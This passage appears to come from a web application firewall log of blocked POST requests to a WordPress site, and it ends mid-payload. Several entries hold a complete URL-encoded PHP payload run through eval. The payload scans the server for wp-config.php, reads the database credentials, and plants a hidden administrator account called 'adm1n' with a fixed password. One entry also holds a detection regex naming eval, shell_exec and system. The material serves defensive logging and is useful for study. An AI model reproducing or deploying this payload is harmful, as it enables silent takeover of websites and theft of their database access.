%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?1\ncontent-length:12663\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nEmiqkL=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 11:35:30","116.118.2.113","POST","\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cmgIbF:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12663\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\n\ncmgIbF=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%